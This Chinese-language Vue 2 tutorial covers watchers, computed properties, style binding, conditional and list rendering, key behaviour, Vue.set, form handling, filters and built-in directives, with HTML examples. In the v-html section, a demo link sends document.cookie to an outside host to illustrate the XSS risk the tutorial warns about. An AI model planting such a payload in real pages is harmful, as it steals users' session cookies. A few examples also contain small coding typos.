1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | < html > < head > < meta charset="UTF-8"/> < title >天气案例_监视属性_简写</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> 姓: < input type="text" v-model="firstName"/> < br />< br />< br /> 名: < input type="text" v-model="lastName"/>< br />< br /> 全名:< span >{{fullName}}</ span > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', fullName:'张-三' }, methods:{ fullName(){ return this.firstName+'-'+this.lastName } }, //watch是一个配置对象: 对属性进行监测 //创建vm实例时,就知道要监视的属性 watch:{ //val:最新的姓 firstName(val) { //watch属性可以异步执行 setTimeout(() =>{ this.fullName = val + ' ' + this.lastName }, 1000) }, //val: 最新的名 lastName(val) { this.fullName = this.firstName + ' ' + val } } }) </ script > </ html > |
计算属性
1 | < div id="demo">{{ fullName }}</ div > |
1 2 3 4 5 6 7 8 9 10 11 12 | var vm = new Vue({ el: '#demo', data: { firstName: 'Foo', lastName: 'Bar' }, computed: { fullName: function () { return this.firstName + ' ' + this.lastName } } }) |
2.1 绑定样式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 | < html > < head > < meta charset="UTF-8"/> < title >绑定样式</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < style > .basic{ } .happy{ } .sad{ } .normal{ } .atguigu1{ } .atguigu2{ } .atguigu3{ } </ style > </ head > < body > <!-- 绑定样式: 1. class样式 写法: class="xxx" , xxx可以是字符串、对象、数组; 字符串写法适用于:类名不确定,要动态获取; 对象写法适用于: 要绑定多个样式,个数不确定,名字也不确定 数组写法适用于: 要绑定多个样式,个数确定,名字也确定,但不确定用不用 2. style样式 :style="{fontSize: xxx}" 其中xxx是动态值 :style="[a,b]" 其中a、b是样式对象 --> <!-- 准备一个容器--> < div id = "root"> <!-- :class 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 --> < div class="basic" :class="mood" @click="changeMood">{{name}}</ div >< br /> <!-- :class 绑定class样式-数组写法,适用于:要绑定的样式个数不确定、名字也不确定 --> < div class="basic" :class="classArr" >{{name}}</ div > <!-- :class 绑定class样式-对象写法,适用于:要绑定的样式个数确定、名字也确定, 但要动态决定用不用 --> < div class="basic" :class="classObj" >{{name}}</ div > <!-- :class 绑定style样式-对象写法 --> < div class="basic" :style="styleObj" >{{name}}</ div > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ name:'Java', mood:'normal', classArr:['atguigu1','atguigu2','atguigu3'], classObj:{ atguigu1:false, atguigu2:true }, styleObj:{ fontSize: '40px', color:'red', backgroundColor:'orange' } }, methods: { changeMood(){ const arr = ['happy','sad','normal'] const index = Math.floor(Math.random()*3) this.mood = arr[index] } } }) </ script > </ html > |
2.2 条件渲染
条件渲染:
1. v-if
写法:
a. v-if="表达式"
b. v-else-if="表达式
c. v-else="表达式
适用于:切换频率较低的场景;
特点:不展示的DOM元素直接被移除;
注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被“打断”;
2. v-show
写法:v-show=“表达式”
适用于:切换频率较高的场景;
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉;
3. 备注
使用v-if时,元素可能无法获取到,而使用v-show一定可以获取到;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | < html > < head > < meta charset="UTF-8"/> < title >条件渲染</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h2 >当前的n值是:{{n}}</ h2 > < button @click="n++">点我n+1</ button > <!-- 使用v-show做条件渲染 --> <!-- <h2 v-show="false">欢迎来到{{name}}</h2> --> <!-- <h2 v-show="1===1">欢迎来到{{name}}</h2> --> <!-- 使用v-if 做条件渲染 --> <!-- <h2 v-if="false">欢迎来到{{name}}</h2> <h2 v-if="1===1">欢迎来到{{name}}</h2> --> <!-- <div v-show="n===1">Angular</div> <div v-show="n===2">React</div> <div v-show="n===3">Vue</div> --> <!-- 使用v-if 和 v-else-if 做条件渲染:中间不能被打断 --> < div v-if="n===1">Angular</ div > < div v-else-if="n===2">React</ div > < div v-else-if="n===3">Vue</ div > < div v-else>Java</ div > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ name:'Java' , n:0 } }) </ script > </ html > |
2.3 列表渲染
2.3.1 基本列表
v-for 指令:
1. 用于展示列表数据
2. 语法:v-for="(item, index) in xxx" :key="yyy"
3. 可遍历:数组、对象、字符串(用的少)、指定次数(用的很少)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | < html > < head > < meta charset="UTF-8"/> < title >基本列表</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> <!-- 遍历数组 --> < h2 >人员列表</ h2 > < ul > < li v-for="(p, index) in persons" ::key="p.id"> {{p.name}}-{{p.age}} </ li > </ ul > <!-- 遍历对象 --> < h2 >汽车列表</ h2 > < ul > < li v-for="(val, key) in car" ::key="key"> {{key}}-{{val}} </ li > </ ul > <!-- 遍历字符串 --> < h2 >测试遍历字符串</ h2 > < ul > < li v-for="(char, index) in str" ::key="index"> {{char}}-{{index}} </ li > </ ul > <!-- 遍历指定次数 --> < h2 >测试遍历指定次数(用的少)</ h2 > < ul > < li v-for="(num, index) in 5" ::key="index"> {{index}}-{{num}} </ li > </ ul > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:20}, {id:'003',name:'王五',age:45} ], car:{ name:'奥迪A8', price: 457, color:'白色' }, str:'hello' } }) </ script > </ html > |
2.3.2 key的原理
面试题:react、vue中的key有什么作用?(key的内部原理)
1. 虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当状态中的数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
a. 旧虚拟DOM中找到了与新虚拟DOM相同的key:
(1)若虚拟DOM中内容没变,直接使用之前的真实DOM;
(2)若虚拟DOM中内容改变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM;
b. 旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM,随后渲染到页面;
2. 用index作为key可能会引发的问题:
(1)若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==>界面效果没问题,但效率低;
(2)如果结构中还包含输入类的DOM:
会产生错误DOM更新 ==>界面有问题
3. 开发中如何选择key ?
(1)最好使用每条数据的唯一标识作为key,比如Id、手机号、身份证号、学号等唯一值。
(2)如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表,用于展示,使用index作为key是没有问题的;
对数据进行逆序添加列表:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | < html > < head > < meta charset="UTF-8"/> < title >key的原理</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> <!-- 遍历数组 --> < h2 >人员列表</ h2 > < button @click.once="add">添加一个老刘</ button > < ul > < li v-for="(p, index) in persons" :key="index"> {{p.name}}-{{p.age}} < input type="text" /> </ li > </ ul > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:20}, {id:'003',name:'王五',age:45} ] }, methods: { add(){ const p = {id:'004',name:'老刘',age:18} //逆序添加: 会导致页面错误 this.persons.unshift(p) } }, }) </ script > </ html > |
逆序添加数据,并用index作为key的原理图:
页面结果:
逆序添加数据,用id作为key的原理图:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | < html > < head > < meta charset="UTF-8"/> < title >key的原理</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> <!-- 遍历数组 --> < h2 >人员列表</ h2 > < button @click.once="add">添加一个老刘</ button > < ul > < li v-for="(p, index) in persons" :key="p.id"> {{p.name}}-{{p.age}} < input type="text" /> </ li > </ ul > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:20}, {id:'003',name:'王五',age:45} ] }, methods: { add(){ const p = {id:'004',name:'老刘',age:18} //正序添加 // this.persons.push(p) //逆序添加: 会导致页面错误 this.persons.unshift(p) } } }) </ script > </ html > |
页面结果:
2.3.3 列表过滤
输入关键字 "冬"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 | < html > < head > < meta charset="UTF-8"/> < title >列表过滤</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> <!-- 遍历数组 --> < h2 >人员列表</ h2 > < input type="text" v-model="keyWord" placeholder="请输入名字"> < ul > < li v-for="(p, index) in filPersons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </ li > </ ul > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //#region 折叠符开始 //用watch实现 // new Vue({ // el:'#root', // data:{ // keyWord:'', // persons:[ // {id:'001',name:'马冬梅',age:18, sex:'女'}, // {id:'002',name:'周冬雨',age:20, sex:'女'}, // {id:'003',name:'周杰伦',age:23, sex:'男'}, // {id:'004',name:'温兆伦',age:45, sex:'男'} // ], // filPersons:[] // }, // watch:{ // keyWord:{ // immediate:true, // handler(newVal){ // this.filPersons = this.persons.filter((p)=>{ // return p.name.indexOf(newVal) !==-1 // }) // } // } // } // }) //#endregion 折叠符结束 //用computed实现 new Vue({ el:'#root', data:{ keyWord:'', persons:[ {id:'001',name:'马冬梅',age:18, sex:'女'}, {id:'002',name:'周冬雨',age:20, sex:'女'}, {id:'003',name:'周杰伦',age:23, sex:'男'}, {id:'004',name:'温兆伦',age:45, sex:'男'} ] }, computed:{ filPersons(){ return this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !==-1 }) } } }) </ script > </ html > |
2.3.4 列表排序
也可以先筛选后排序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | < html > < head > < meta charset="UTF-8"/> < title >列表排序</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> <!-- 遍历数组 --> < h2 >人员列表</ h2 > < input type="text" v-model="keyWord" placeholder="请输入名字"> < button @click="sortType = 2">按年龄升序排列</ button > < button @click="sortType = 1">按年龄降序排列</ button > < button @click="sortType = 0">按原顺序</ button > < ul > < li v-for="(p, index) in filPersons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </ li > </ ul > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //用computed实现 new Vue({ el:'#root', data:{ keyWord:'', sortType:0, //0-原顺序;1-降序;2-升序 persons:[ {id:'001',name:'马冬梅',age:45, sex:'女'}, {id:'002',name:'周冬雨',age:18, sex:'女'}, {id:'003',name:'周杰伦',age:23, sex:'男'}, {id:'004',name:'温兆伦',age:40, sex:'男'} ] }, computed:{ filPersons(){ const arr = this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !==-1 }) //判断是否需要排序 if(this.sortType){ //this.sortType为真才进入 arr.sort((p1, p2)=>{ return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age }) } return arr } } }) </ script > </ html > |
2.3.5 Vue.set的使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | < html > < head > < meta charset="UTF-8"/> < title >Vue.set的使用</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h1 >学校名称信息</ h1 > < h2 >学校名称:{{name}}</ h2 > < h2 >学校地址:{{address}}</ h2 > < hr /> < h1 >学生信息</ h1 > < button @click="addSex">添加一个性别属性,默认值是男</ button > < h2 >姓名:{{student.name}}</ h2 > < h2 v-if="student.sex">性别:{{student.sex}}</ h2 > < h2 >年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</ h2 > < h2 >朋友们</ h2 > < ul > < li v-for="(f, index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </ li > </ ul > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //用computed实现 new Vue({ el:'#root', data:{ name:'清华', address:'北京', student:{ name:'tom', age:{ rAge:45, aAge:20 }, friends:[ {name:'jerry', age:35}, {name:'tony', age:35} ] } }, methods: { addSex(val){ // Vue.set(this.student, 'sex', '男') //或 this.$set(this.student, 'sex', '男') } }, }) </ script > </ html > |
2.3.6 Vue监测数据改变的原理_数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | < html > < head > < meta charset="UTF-8"/> < title >Vue监测数据改变的原理_数组</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- Vue 将被侦听的数组的变更方法进行了包裹,所以它们也将会触发视图更新。这些被包裹过的方法包括: let arr = [1,2,3,4,5] 如下数组的操作方法被调用,vue才认可数组被修改 push : 新增最后一个 pop :删除 shift :删除第一个元素 unshift :新增第一个元素 splice: 指定位置替换/删除 sort : 排序 reverse : 反转 --> <!-- 准备一个容器--> < div id = "root"> < h1 >学校名称信息</ h1 > < h2 >学校名称:{{name}}</ h2 > < h2 >学校地址:{{address}}</ h2 > < hr /> < h1 >学生信息</ h1 > < button @click="addSex">添加一个性别属性,默认值是男</ button > < h2 >姓名:{{student.name}}</ h2 > < h2 v-if="student.sex">性别:{{student.sex}}</ h2 > < h2 >年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</ h2 > < h2 >爱好</ h2 > < ul > < li v-for="(h, index) in student.hobbys" :key="index"> {{h}} </ li > </ ul > < h2 >朋友们</ h2 > < ul > < li v-for="(f, index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </ li > </ ul > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //用computed实现 new Vue({ el:'#root', data:{ name:'清华', address:'北京', student:{ name:'tom', age:{ rAge:45, aAge:20 }, hobbys:['喝酒','抽烟','烫头'], friends:[ {name:'jerry', age:35}, {name:'tony', age:35} ] } }, methods: { //向学生中追加属性sex addSex(val){ // Vue.set(this.student, 'sex', '男') //或 this.$set(this.student, 'sex', '男') } }, }) </ script > </ html > |
2.3.7 总结Vue监测数据
vue监视数据的原理:
1. Vue会监视data中所有层次的数据
2. 如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监视的数据;
(1)对象中后追加的属性,Vue默认不做响应式处理;
(2)如需给后添加的属性做响应式,请使用如下API:
Vue.set(target, propertyName/index, value)
或
vm.$set(target, propertyName/index, value)
3. 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1)调用原生对应的方法对数组进行更新;
(2)重新解析模板,今而更新页面;
4. 在Vue修改数组中的某个元素,一定要用如下方法:
(1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
(2)Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set()不能给vm 或 vm的根数据对象 添加属性!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | < html > < head > < meta charset="UTF-8"/> < title >总结Vue监测数据</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h1 >学生信息</ h1 > < button @click="student.age++">年龄加1岁</ button > < br /> < button @click="addSex">添加性别属性,默认值:男</ button >< br /> < button @click="addFriend">在列表首位添加一个朋友</ button >< br /> < button @click="updateFriend">修改第一个朋友的名字为:张三</ button >< br /> < button @click="addHobby">添加一个爱好</ button >< br /> < button @click="updateHobby">修改第一个爱好为:开车</ button > < h2 >姓名:{{student.name}}</ h2 > < h2 >年龄:{{student.age}}</ h2 > < h2 v-if="student.sex">性别:{{student.sex}}</ h2 > < h2 >爱好</ h2 > < ul > < li v-for="(h, index) in student.hobbys" :key="index"> {{h}} </ li > </ ul > < h2 >朋友们</ h2 > < ul > < li v-for="(f, index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </ li > </ ul > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //用computed实现 new Vue({ el:'#root', data:{ student:{ name:'tom', age:18, hobbys:['喝酒','抽烟','烫头'], friends:[ {name:'jerry', age:35}, {name:'tony', age:35} ] } }, methods: { addSex(){ Vue.set(this.student, 'sex', '男') }, addFriend(){ const obj = {name:'lisi', age:20} this.student.friends.unshift(obj) }, updateFriend(){ Vue.set(this.student.friends[0], 'name', '张三') //或 this.student.friends[0].name = '张三' }, addHobby(){ this.student.hobbys.push('打麻将') }, updateHobby(){ // this.student.hobbys[0]='开车' 不能直接操作数组中的对象,因为没有对应的setter和getter this.student.hobbys.splice(0,1,'开车') // 或 Vue.set(this.student.hobbys, 0, '开车') // 或 this.$set(this.student.hobbys, 0, '开车') } } }) </ script > </ html > |
2.4 收集表单数据
效果如下:
收集表单数据:
若:<input type="text"/>, 则v-model收集的是value值,用户输入的就是value值;
若:<input type="radio"/>, 则v-model收集的是value值,且要给标签配置value值;
若:<input type="checkbox"/>
(1)没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)配置input的value属性:
a. v-model的初始值是非数组,那么收集的就是checked (勾选 or 未勾选,是布尔值)
b. v-model的初始值是数组,那么收集的就是value组成的数组
备注:v-model的三个修饰符:
lazy : 失去焦点再收集数据
number : 输入字符串转为有效的数字
trim : 输入首尾空格过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | < html > < head > < meta charset="UTF-8"/> < title >初识Vue</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < form @click="submit"> <!-- 点击账号获取焦点:<label for="demo"></label> demo是input的id --> 账号:< input type="text" v-model.trim="userInfo.account" />< br />< br /> 密码:< input type="password" v-model.trim="userInfo.password" /> < br />< br /> 年龄< input type="number" v-model.number="userInfo.age" /> < br />< br /> 性别: 男< input type="radio" name="sex" v-model="userInfo.sex" value="male" /> 女< input type="radio" name="sex" v-model="userInfo.sex" value="female" />< br />< br /> 爱好: 喝酒:< input type="checkbox" v-model="userInfo.hobby" value="hejiu"/> 抽烟:< input type="checkbox" v-model="userInfo.hobby" value="chouyan"/> 烫头:< input type="checkbox" v-model="userInfo.hobby" value="tangtou"/>< br />< br /> 所属校区 < select v-model="userInfo.city"> < option value="">请选择校区</ option > < option value="beijing">北京</ option > < option value="shanghai">上海</ option > < option value="shenzhen">深圳</ option > < option value="wuhan">武汉</ option > </ select >< br />< br /> 其他信息: < textarea v-model="userInfo.other"></ textarea >< br />< br /> < input type="checkbox" v-model="userInfo.agree"> 阅读并接受< a href="http://baidu.com">《用户协议》</ a >< br />< br /> < button >提交</ button > </ form > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ userInfo:{ account:'', password:'', age:'', sex: 'female', hobby:[], city:'beijing', other:'', agree:'' } }, methods: { submit(){ console.log(JSON.stringify(this.userInfo)) } }, }) </ script > </ body > </ html > |
2.5 过滤器
过滤器:
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理);
语法:
(1)注册过滤器:Vue.filter(name, callback) 或 new Vue(filters:{})
(2)使用过滤器:{{xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注:
a. 过滤器也可以接收额外参数、多个过滤器也可以串联
b.并没有改变原本的数据,是产生新的对应的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | < html > < head > < meta charset="UTF-8"/> < title >过滤器</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h2 >显示格式化后的时间</ h2 > <!-- 计算属性实现 --> < h3 >现在是:{{fmtTime}}</ h3 > <!-- methods实现 --> < h3 >现在是:{{getFmtTime()}}</ h3 > <!-- 过滤器实现 --> <!-- 1. 过滤器不传参,默认参数是time --> < h3 >现在是:{{time | timeFormater}}</ h3 > <!-- 2. 过滤器传参,默认参数是time,传参format --> < h3 >现在是:{{time | timeFormater('YYYY_MM_DD')}}</ h3 > <!-- 3. 过滤器链--> < h3 >现在是(过滤器串联):{{time | timeFormater('YYYY_MM_DD') | mySlice}}</ h3 > < h3 :x="msg | mySlice">javascript</ h3 > </ div > < hr /> < div id = "root2"> < h2 >消息:{{msg | mySlice}}</ h2 > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //全局过滤器 Vue.filter('mySlice', function(val){ return val.slice(0,4) } ) new Vue({ el:'#root', data:{ time:1621561377603, //时间戳 msg:'你好,JavaScript' }, computed:{ fmtTime(){ return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss') } }, methods: { getFmtTime(){ return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') } }, //局部过滤器 filters:{ //str如果不为null,就用str;否则用默认值:YYYY年MM月DD日 HH:mm:ss timeFormater(val, str='YYYY年MM月DD日 HH:mm:ss'){ return dayjs(val).format(str) } /* , mySlice(val){ return val.slice(0,4) } */ } }), new Vue({ el:'#root2', data:{ msg:'helloWorld' } }) </ script > </ body > </ html > |
2.6 Vue的内置指令
2.6.1 v-text_指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | < html > < head > < meta charset="UTF-8"/> < title >v-text_指令</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- v-bind : 单向绑定解析表达式,可简写为 :xxx v-model : 双向数据绑定 v-for : 遍历数组/对象/字符串 v-on : 绑定事件监听,可简写为@ v-if : 条件渲染(动态控制节点是否存在) v-else : 条件渲染(动态控制节点是否存在) v-show : 条件渲染(动态控制节点是否展示) v-text:指令: 1. 作用: 向其所在的节点中渲染文本内容; 2. 与插值语法的区别:v-text 会替换掉节点中的内容,{{xx}}则不会 --> <!-- 准备一个容器--> < div id = "root"> < h2 >{{name}}</ h2 > < div v-text="name"></ div > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ name:'你好,JavaScript' } }) </ script > </ body > </ html > |
2.6.2 v-html_指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | < html > < head > < meta charset="UTF-8"/> < title >v-html_指令</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- v-html:指令: 1. 作用:向指定节点中渲染包含html结构的内容; 2. 与插值语法的区别: (1)v-html会替换掉节点中的所有内容,{{xx}}则不会。 (2)v-html可以识别html结构; 3. 严重注意:v-html有安全性问题!!! (1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击; (2)一定要在可信的内容上使用v-html,不要用在用户提交的内容上; --> <!-- 准备一个容器--> < div id = "root"> < h2 >你好:{{name}}</ h2 > < div v-html="str"></ div > < div v-html="str2"></ div > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ name:'JavaScript', str:'< h3 >你好啊</ h3 >', str2:'< a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击一下看看</ a >' } }) </ script > </ body > </ html > |
2.6.3 v-once_指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | < html > < head > < meta charset="UTF-8"/> < title >v-once_指令</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > </ head > < body > <!-- v-once_指令: 1. v-once所在节点在初次动态渲染后,就视为静态内容了 2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能 --> <!-- 准备一个容器--> < div id = "root"> < h2 v-once>初始化的n值是:{{n}}</ h2 > < h2 >当前的n值是:{{n}}</ h2 > < button @click="n++">点我n+1</ button > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ n:1 } }) </ script > </ body > </ html > |
2.6.4 v-cloak_指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | < html > < head > < meta charset="UTF-8"/> < title >v-cloak_指令</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < script type="text/javascript" src="../js/dayjs.min.js"></ script > < style > [v-cloak]{ display: none; } </ style > </ head > < body > <!-- v-cloak:指令(没有值): 1. 本质是一个特殊属性。Vue实例创建完毕并接管容器后,会删掉v-cloak属性 2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题 --> <!-- 准备一个容器--> < div id = "root"> < h2 v-cloak>{{name}}</ h2 > </ div > //这个位置延迟加载vue实例 </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ name:'你好,JavaScript' } }) </ script > </ html > |
2.6.5 v-pre_指令
